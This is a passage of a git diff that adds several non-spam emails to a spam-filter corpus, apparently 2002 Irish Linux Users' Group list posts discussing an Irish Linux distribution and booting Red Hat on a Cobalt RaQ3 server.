(fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 13 Aug 2002 10:22:11 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7D8uub24039 for + ; Tue, 13 Aug 2002 09:56:56 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id JAA02164; Tue, 13 Aug 2002 09:56:31 +0100 +Received: from lhidns.gov.ie ([193.1.228.222]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id JAA02135 for ; Tue, + 13 Aug 2002 09:56:25 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [193.1.228.222] claimed to + be lhidns.gov.ie +Received: from gw.educ.irlgov.ie (educ-gw.gov.ie [192.168.6.1] (may be + forged)) by lhidns.gov.ie (8.9.3/8.9.3) with ESMTP id JAA09844; + Tue, 13 Aug 2002 09:55:53 +0100 +Received: (from fwtk@localhost) by gw.educ.irlgov.ie (8.8.6/8.8.6) id + LAA13338; Tue, 13 Aug 2002 11:15:24 +0100 (BST) +Received: from unknown(10.0.0.13) by gw.educ.irlgov.ie via smap (V2.0) id + xma013312; Tue, 13 Aug 02 11:15:17 +0100 +Content-Class: urn:content-classes:message +Subject: RE: [ILUG] SUSE 8 disks? (thread changed slightly) +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Date: Tue, 13 Aug 2002 09:55:49 +0100 +X-Mimeole: Produced By Microsoft Exchange V6.0.5762.3 +Message-Id: <9C498074D5419A44B05349F5BF2C26301CFA8C@sdubtalex01.education.gov.ie> +X-MS-Has-Attach: +X-MS-Tnef-Correlator: +Thread-Topic: [ILUG] SUSE 8 disks? (thread changed slightly) +Thread-Index: AcJCWxT/TH4PxtLIRkmzLrYobg9jEgAS1zTg +From: "Ryan, Shane" +To: "wintermute" +Cc: +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by lugh.tuatha.org id + JAA02135 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +hey, + +AFAIK it isn't hard at all to create +your own modified version of the redhat +distro. There's even a tarball[1] with this +specifically in mind. The people who built +the Ximian version of RedHat used a system +similar to said tarball. + +Building a distro which uses a *BSD ports +system rather than rpm, deb or whatever +would complicate things a tad more IMHO. + +It *is* a good idea though. I've been +wondering about the same thing for a couple +of months now but always considered it too +complicated to carry out. (If that makes any +sense at all). + +I don't discount any other work like for +example Niall's work on the B.B.C. but maybe +there is general interest in an Irish distro. +Anyone? + +Regards, +Shane. + +-----Original Message----- +From: wintermute [mailto:cout@eircom.net] +Sent: 13 August 2002 00:48 +To: ilug@linux.ie +Subject: Re: [ILUG] SUSE 8 disks? (thread changed slightly) + + +Rick Moen wrote: + + +> Don't like SuSE's product licensing? Write your own distribution. You +> can even grab most of what you need _from SuSE_. All you have to do is +> heed the licensing terms on the individual pieces. + + +How unimaginably difficult is this to do? +There are as far as I know, no Linux kernel hackers, nor distros that originate from this fair island right? +Right. + +Yes it might be very,very difficult and subject to abject failure +in sticking together a distro.... call it Dolmen Linux (or other), +no doubt the packaging system would be one of the first places + such a suggestion would stumble. +Some (like me) favouring a FreeBSD style ports system others favouring + a Debian style system and others still favouring *rpm style packaging. + +That said other *LUG have done interesting things like making blackbox. + +Perhaps making a distro would be ..... umm.... fun. + +Just a pseudo random thought. + + +I'm only laughing on the outside +My smile is just skin deep +If you could see inside I'm really crying +You might join me for a weep. +<> + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00375.cee54564533a11e7072e289847ad8efc b/bayes/spamham/easy_ham_2/00375.cee54564533a11e7072e289847ad8efc new file mode 100644 index 0000000..f9fe666 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00375.cee54564533a11e7072e289847ad8efc @@ -0,0 +1,72 @@ +From ilug-admin@linux.ie Tue Aug 13 10:29:59 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id E9C1544133 + for ; Tue, 13 Aug 2002 05:22:12 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 13 Aug 2002 10:22:12 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7D8xBb24219 for + ; Tue, 13 Aug 2002 09:59:11 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id JAA02296; Tue, 13 Aug 2002 09:58:05 +0100 +Received: from homer.jinny.ie ([193.120.171.3]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id JAA02260 for ; Tue, + 13 Aug 2002 09:57:58 +0100 +Received: from jlooney.jinny.ie (fw [193.120.171.2]) by homer.jinny.ie + (8.9.3/8.11.2) with ESMTP id JAA09073; Tue, 13 Aug 2002 09:57:27 +0100 +Received: (from john@localhost) by jlooney.jinny.ie (8.11.6/8.11.6) id + g7D8vf104212; Tue, 13 Aug 2002 09:57:41 +0100 +X-Authentication-Warning: jlooney.jinny.ie: john set sender to + jlooney@jinny.ie using -f +Date: Tue, 13 Aug 2002 09:57:41 +0100 +From: "John P. Looney" +To: "Damian O' Sullivan" +Cc: "'ilug@linux.ie'" +Subject: Re: [ILUG] RH7.3 on Cobalt - the saga continues +Message-Id: <20020813085741.GB2019@jinny.ie> +Reply-To: ilug@linux.ie +Mail-Followup-To: Damian O' Sullivan , + "'ilug@linux.ie'" +References: <214A52C16E44D51186FB00508BB83E0F7C0D67@w2k-server.bcs.ie> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: <214A52C16E44D51186FB00508BB83E0F7C0D67@w2k-server.bcs.ie> +User-Agent: Mutt/1.4i +X-Os: Red Hat Linux 7.3/Linux 2.4.18-3 +X-Url: http://www.redbrick.dcu.ie/~valen +X-Gnupg-Publickey: http://www.redbrick.dcu.ie/~valen/public.asc +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Tue, Aug 13, 2002 at 09:53:55AM +0100, Damian O' Sullivan mentioned: +> > Curiously, when I go into the boot prom, an use +> > "set_params" I can tell it to mount /dev/hda2 as root. But +> > then it uses the PROM copy of the kernel (dodgy 2.2.16 +> > kernel), which doesn't know ext3, so wants to fsck up my disk. +> Boot prom on a cobalt? Is this an old mips based one? How did you get to it? + + This is actually a raq3. Though, I do have an old raq2 that Liam was +helping me get netbsd on (about all you'll get on a 16MB machine these +days). + + Anyway, I wussed out, and copied hda1:/ to hda2:/boot and set the bootfs +to be hda2. It worked, though it's mounting an ext3fs as ext2. But I'm +getting there. + +Kate + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00376.71c78bea62958ee25c18d267f48f37ef b/bayes/spamham/easy_ham_2/00376.71c78bea62958ee25c18d267f48f37ef new file mode 100644 index 0000000..8a38798 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00376.71c78bea62958ee25c18d267f48f37ef @@ -0,0 +1,57 @@ +From ilug-admin@linux.ie Tue Aug 13 10:30:01 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id CEE9544134 + for ; Tue, 13 Aug 2002 05:22:13 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 13 Aug 2002 10:22:13 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7D91Nb24248 for + ; Tue, 13 Aug 2002 10:01:23 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id KAA02477; Tue, 13 Aug 2002 10:00:49 +0100 +Received: from w2k-server.bcs.ie ([195.218.97.197]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id KAA02452 for ; Tue, + 13 Aug 2002 10:00:43 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [195.218.97.197] claimed + to be w2k-server.bcs.ie +Received: by w2k-server.bcs.ie with Internet Mail Service (5.5.2653.19) id + ; Tue, 13 Aug 2002 10:03:16 +0100 +Message-Id: <214A52C16E44D51186FB00508BB83E0F7C0D68@w2k-server.bcs.ie> +From: "Damian O' Sullivan" +To: "'ilug@linux.ie'" +Subject: RE: [ILUG] RH7.3 on Cobalt - the saga continues +Date: Tue, 13 Aug 2002 10:03:14 +0100 +MIME-Version: 1.0 +X-Mailer: Internet Mail Service (5.5.2653.19) +Content-Type: text/plain +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +But how did you get to the prom on it? I have an assortment of qubes and +raqs here and they have lcd displays but I see no way of entering commands +that way. You using a serial cable or something? + +> This is actually a raq3. Though, I do have an old raq2 that +> Liam was helping me get netbsd on (about all you'll get on a +> 16MB machine these days). +> +> Anyway, I wussed out, and copied hda1:/ to hda2:/boot and +> set the bootfs to be hda2. It worked, though it's mounting an +> ext3fs as ext2. But I'm getting there. +> +> Kate +> + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00377.48ab7471b3fb970b629400ea135fafa4 b/bayes/spamham/easy_ham_2/00377.48ab7471b3fb970b629400ea135fafa4 new file mode 100644 index 0000000..f28de19 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00377.48ab7471b3fb970b629400ea135fafa4 @@ -0,0 +1,49 @@ +From ilug-admin@linux.ie Tue Aug 13 10:30:11 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 54F8244136 + for ; Tue, 13 Aug 2002 05:22:15 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 13 Aug 2002 10:22:15 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7D94Wb24317 for + ; Tue, 13 Aug 2002 10:04:32 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id KAA02923; Tue, 13 Aug 2002 10:03:31 +0100 +Received: from kbs01.kbs.ie ([213.190.156.48]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id KAA02893 for ; Tue, + 13 Aug 2002 10:03:24 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [213.190.156.48] claimed + to be kbs01.kbs.ie +Received: by KBS01 with Internet Mail Service (5.5.2653.19) id ; + Tue, 13 Aug 2002 10:19:56 +0100 +Message-Id: <55DA5264CE16D41186F600D0B74D6B09247276@KBS01> +From: "Brian O'Donoghue" +To: "'ilug@linux.ie'" +Subject: [ILUG] SUSE 8 disks? (thread changed slightly) +Date: Tue, 13 Aug 2002 10:19:53 +0100 +MIME-Version: 1.0 +X-Mailer: Internet Mail Service (5.5.2653.19) +Content-Type: text/plain; charset="iso-8859-1" +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + + > I don't discount any other work like for + > example Niall's work on the B.B.C. but maybe + > there is general interest in an Irish distro. + > Anyone? + + I'll bite. + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00378.6634f5d52bac8536d979753841ade35a b/bayes/spamham/easy_ham_2/00378.6634f5d52bac8536d979753841ade35a new file mode 100644 index 0000000..4444fd5 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00378.6634f5d52bac8536d979753841ade35a @@ -0,0 +1,76 @@ +From ilug-admin@linux.ie Tue Aug 13 10:30:17 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 3B60244137 + for ; Tue, 13 Aug 2002 05:22:16 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 13 Aug 2002 10:22:16 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7D96Nb24458 for + ; Tue, 13 Aug 2002 10:06:23 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id KAA03114; Tue, 13 Aug 2002 10:05:17 +0100 +Received: from corvil.com. (k100-159.bas1.dbn.dublin.eircom.net + [159.134.100.159]) by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id KAA03070 + for ; Tue, 13 Aug 2002 10:05:09 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host k100-159.bas1.dbn.dublin.eircom.net + [159.134.100.159] claimed to be corvil.com. +Received: from corvil.com (pixelbeat.local.corvil.com [172.18.1.170]) by + corvil.com. (8.12.5/8.12.5) with ESMTP id g7D957n4060771 for + ; Tue, 13 Aug 2002 10:05:08 +0100 (IST) (envelope-from + padraig.brady@corvil.com) +Message-Id: <3D58CBB7.4040006@corvil.com> +Date: Tue, 13 Aug 2002 10:04:55 +0100 +From: Padraig Brady +Organization: Corvil Networks +User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.9) Gecko/20020408 +X-Accept-Language: en-us, en +MIME-Version: 1.0 +To: ilug@linux.ie +Subject: Re: [ILUG] RH7.3 on Cobalt - the saga continues +References: <214A52C16E44D51186FB00508BB83E0F7C0D67@w2k-server.bcs.ie> + <20020813085741.GB2019@jinny.ie> +Content-Type: text/plain; charset=ISO-8859-1; format=flowed +Content-Transfer-Encoding: 8bit +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +John P. Looney wrote: +> On Tue, Aug 13, 2002 at 09:53:55AM +0100, Damian O' Sullivan mentioned: +> +>>> Curiously, when I go into the boot prom, an use +>>> "set_params" I can tell it to mount /dev/hda2 as root. But +>>>then it uses the PROM copy of the kernel (dodgy 2.2.16 +>>>kernel), which doesn't know ext3, so wants to fsck up my disk. +>> +>>Boot prom on a cobalt? Is this an old mips based one? How did you get to it? + +serial I would guess + +> +> This is actually a raq3. Though, I do have an old raq2 that Liam was +> helping me get netbsd on (about all you'll get on a 16MB machine these +> days). +> +> Anyway, I wussed out, and copied hda1:/ to hda2:/boot and set the bootfs +> to be hda2. It worked, though it's mounting an ext3fs as ext2. But I'm +> getting there. +> + +http://list.cobalt.com/pipermail/cobalt-developers/2001-February/026056.html + +Pádraig. + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00379.cb86b033e4fc334deda622bcc37e6293 b/bayes/spamham/easy_ham_2/00379.cb86b033e4fc334deda622bcc37e6293 new file mode 100644 index 0000000..d180fe9 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00379.cb86b033e4fc334deda622bcc37e6293 @@ -0,0 +1,70 @@ +From ilug-admin@linux.ie Tue Aug 13 10:30:22 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 3653C44138 + for ; Tue, 13 Aug 2002 05:22:17 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 13 Aug 2002 10:22:17 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7D98Wb24510 for + ; Tue, 13 Aug 2002 10:08:32 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id KAA03278; Tue, 13 Aug 2002 10:06:52 +0100 +Received: from homer.jinny.ie ([193.120.171.3]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id KAA03249 for ; Tue, + 13 Aug 2002 10:06:45 +0100 +Received: from jlooney.jinny.ie (fw [193.120.171.2]) by homer.jinny.ie + (8.9.3/8.11.2) with ESMTP id KAA09675; Tue, 13 Aug 2002 10:06:15 +0100 +Received: (from john@localhost) by jlooney.jinny.ie (8.11.6/8.11.6) id + g7D96TG04926; Tue, 13 Aug 2002 10:06:29 +0100 +X-Authentication-Warning: jlooney.jinny.ie: john set sender to + jlooney@jinny.ie using -f +Date: Tue, 13 Aug 2002 10:06:29 +0100 +From: "John P. Looney" +To: "Damian O' Sullivan" +Cc: "'ilug@linux.ie'" +Subject: Re: [ILUG] RH7.3 on Cobalt - the saga continues +Message-Id: <20020813090629.GD2019@jinny.ie> +Reply-To: ilug@linux.ie +Mail-Followup-To: Damian O' Sullivan , + "'ilug@linux.ie'" +References: <214A52C16E44D51186FB00508BB83E0F7C0D68@w2k-server.bcs.ie> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: <214A52C16E44D51186FB00508BB83E0F7C0D68@w2k-server.bcs.ie> +User-Agent: Mutt/1.4i +X-Os: Red Hat Linux 7.3/Linux 2.4.18-3 +X-Url: http://www.redbrick.dcu.ie/~valen +X-Gnupg-Publickey: http://www.redbrick.dcu.ie/~valen/public.asc +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Tue, Aug 13, 2002 at 10:03:14AM +0100, Damian O' Sullivan mentioned: +> But how did you get to the prom on it? I have an assortment of qubes and +> raqs here and they have lcd displays but I see no way of entering commands +> that way. You using a serial cable or something? + + Yep. + + Power on the box while pushing the recessed button near the LCD with a +paper clip. On the serial console, you'll see "press space to enter the +prom". + + It's a crap prom, but a prom, nonetheless. + +Kate + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00380.d78a42167264ab6adbd1b5eb1f452e9a b/bayes/spamham/easy_ham_2/00380.d78a42167264ab6adbd1b5eb1f452e9a new file mode 100644 index 0000000..94d2880 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00380.d78a42167264ab6adbd1b5eb1f452e9a @@ -0,0 +1,66 @@ +From ilug-admin@linux.ie Tue Aug 13 10:30:08 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id AF1F744135 + for ; Tue, 13 Aug 2002 05:22:14 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 13 Aug 2002 10:22:14 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7D933b24299 for + ; Tue, 13 Aug 2002 10:03:03 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id KAA02607; Tue, 13 Aug 2002 10:01:39 +0100 +Received: from homer.jinny.ie ([193.120.171.3]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id KAA02583 for ; Tue, + 13 Aug 2002 10:01:33 +0100 +Received: from jlooney.jinny.ie (fw [193.120.171.2]) by homer.jinny.ie + (8.9.3/8.11.2) with ESMTP id KAA09343 for ; Tue, + 13 Aug 2002 10:01:03 +0100 +Received: (from john@localhost) by jlooney.jinny.ie (8.11.6/8.11.6) id + g7D91H804552 for ilug@linux.ie; Tue, 13 Aug 2002 10:01:17 +0100 +X-Authentication-Warning: jlooney.jinny.ie: john set sender to + jlooney@jinny.ie using -f +Date: Tue, 13 Aug 2002 10:01:17 +0100 +From: "John P. Looney" +To: ilug@linux.ie +Subject: Re: [ILUG] SUSE 8 disks? (thread changed slightly) +Message-Id: <20020813090117.GC2019@jinny.ie> +Reply-To: ilug@linux.ie +Mail-Followup-To: ilug@linux.ie +References: <9C498074D5419A44B05349F5BF2C26301CFA8C@sdubtalex01.education.gov.ie> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: <9C498074D5419A44B05349F5BF2C26301CFA8C@sdubtalex01.education.gov.ie> +User-Agent: Mutt/1.4i +X-Os: Red Hat Linux 7.3/Linux 2.4.18-3 +X-Url: http://www.redbrick.dcu.ie/~valen +X-Gnupg-Publickey: http://www.redbrick.dcu.ie/~valen/public.asc +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Tue, Aug 13, 2002 at 09:55:49AM +0100, Ryan, Shane mentioned: +> It *is* a good idea though. I've been +> wondering about the same thing for a couple +> of months now but always considered it too +> complicated to carry out. (If that makes any +> sense at all). + + It is to complex. Look at the mess that is gentoo. Just because you can +do something, doesn't mean you should. + +Kate + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00381.149150dca7d42c33006b9d0eeab99c59 b/bayes/spamham/easy_ham_2/00381.149150dca7d42c33006b9d0eeab99c59 new file mode 100644 index 0000000..6a86ade --- /dev/null +++ b/bayes/spamham/easy_ham_2/00381.149150dca7d42c33006b9d0eeab99c59 @@ -0,0 +1,60 @@ +From ilug-admin@linux.ie Tue Aug 13 10:30:32 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 5D8C94413A + for ; Tue, 13 Aug 2002 05:22:19 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 13 Aug 2002 10:22:19 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7D9Adb24717 for + ; Tue, 13 Aug 2002 10:10:39 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id KAA03398; Tue, 13 Aug 2002 10:07:44 +0100 +Received: from ie.suberic.net (owsla.ie.suberic.net [62.17.162.83]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id KAA03368 for ; + Tue, 13 Aug 2002 10:07:38 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host owsla.ie.suberic.net + [62.17.162.83] claimed to be ie.suberic.net +Received: from germain.ie.suberic.net (germain.g.dev.ie.alphyra.com + [192.168.7.200]) by ie.suberic.net (8.11.6/8.11.6) with ESMTP id + g7D97bY27969 for ; Tue, 13 Aug 2002 10:07:37 +0100 +Received: from germain.ie.suberic.net (germain [127.0.0.1]) by + germain.ie.suberic.net (8.11.6/8.11.6) with ESMTP id g7D97bA29916 for + ; Tue, 13 Aug 2002 10:07:37 +0100 +Date: Tue, 13 Aug 2002 10:07:32 +0100 +To: ilug@linux.ie +Subject: Re: [ILUG] SUSE 8 disks? (thread changed slightly) +Message-Id: <20020813100732.A29907@ie.suberic.net> +References: <9C498074D5419A44B05349F5BF2C26301CFA8C@sdubtalex01.education.gov.ie> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.2.5.1i +In-Reply-To: <9C498074D5419A44B05349F5BF2C26301CFA8C@sdubtalex01.education.gov.ie>; + from Shane_Ryan@education.gov.ie on Tue, Aug 13, 2002 at 09:55:49AM +0100 +X-Operating-System: Linux 2.4.18-5 i686 +X-GPG-Fingerprint: 9C1D 16F4 11F1 6BD2 933C 048D ACC7 9840 89D0 7646 +From: kevin lyda +Mail-Followup-To: kevin+dated+1029661657.64143c@ie.suberic.net, + ilug@linux.ie +X-Delivery-Agent: TMDA/0.57 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Tue, Aug 13, 2002 at 09:55:49AM +0100, Ryan, Shane wrote: +> distro. There's even a tarball[1] with this + +segfault. core dumped. + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00382.713b028c6bb68b50a180e6d71e604b5b b/bayes/spamham/easy_ham_2/00382.713b028c6bb68b50a180e6d71e604b5b new file mode 100644 index 0000000..be30860 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00382.713b028c6bb68b50a180e6d71e604b5b @@ -0,0 +1,64 @@ +From ilug-admin@linux.ie Tue Aug 13 10:30:32 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 5BD8C44139 + for ; Tue, 13 Aug 2002 05:22:18 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 13 Aug 2002 10:22:18 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7D99Db24675 for + ; Tue, 13 Aug 2002 10:09:13 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id KAA03501; Tue, 13 Aug 2002 10:08:10 +0100 +Received: from homer.jinny.ie ([193.120.171.3]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id KAA03457 for ; Tue, + 13 Aug 2002 10:08:01 +0100 +Received: from jlooney.jinny.ie (fw [193.120.171.2]) by homer.jinny.ie + (8.9.3/8.11.2) with ESMTP id KAA09757; Tue, 13 Aug 2002 10:07:31 +0100 +Received: (from john@localhost) by jlooney.jinny.ie (8.11.6/8.11.6) id + g7D97iR05003; Tue, 13 Aug 2002 10:07:44 +0100 +X-Authentication-Warning: jlooney.jinny.ie: john set sender to + jlooney@jinny.ie using -f +Date: Tue, 13 Aug 2002 10:07:44 +0100 +From: "John P. Looney" +To: Padraig Brady +Cc: ilug@linux.ie +Subject: Re: [ILUG] RH7.3 on Cobalt - the saga continues +Message-Id: <20020813090744.GE2019@jinny.ie> +Reply-To: ilug@linux.ie +Mail-Followup-To: Padraig Brady , + ilug@linux.ie +References: <214A52C16E44D51186FB00508BB83E0F7C0D67@w2k-server.bcs.ie> + <20020813085741.GB2019@jinny.ie> <3D58CBB7.4040006@corvil.com> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: <3D58CBB7.4040006@corvil.com> +User-Agent: Mutt/1.4i +X-Os: Red Hat Linux 7.3/Linux 2.4.18-3 +X-Url: http://www.redbrick.dcu.ie/~valen +X-Gnupg-Publickey: http://www.redbrick.dcu.ie/~valen/public.asc +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Tue, Aug 13, 2002 at 10:04:55AM +0100, Padraig Brady mentioned: +> http://list.cobalt.com/pipermail/cobalt-developers/2001-February/026056.html + + That isn't the problem - I've flashed the raq3 with the 2.3.40 PROM, a +beta one, required to get the 2.4 kernel's booting. + +Kate + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00383.ea5d23c0685f7342015b94944d46ed8e b/bayes/spamham/easy_ham_2/00383.ea5d23c0685f7342015b94944d46ed8e new file mode 100644 index 0000000..1a49865 --- 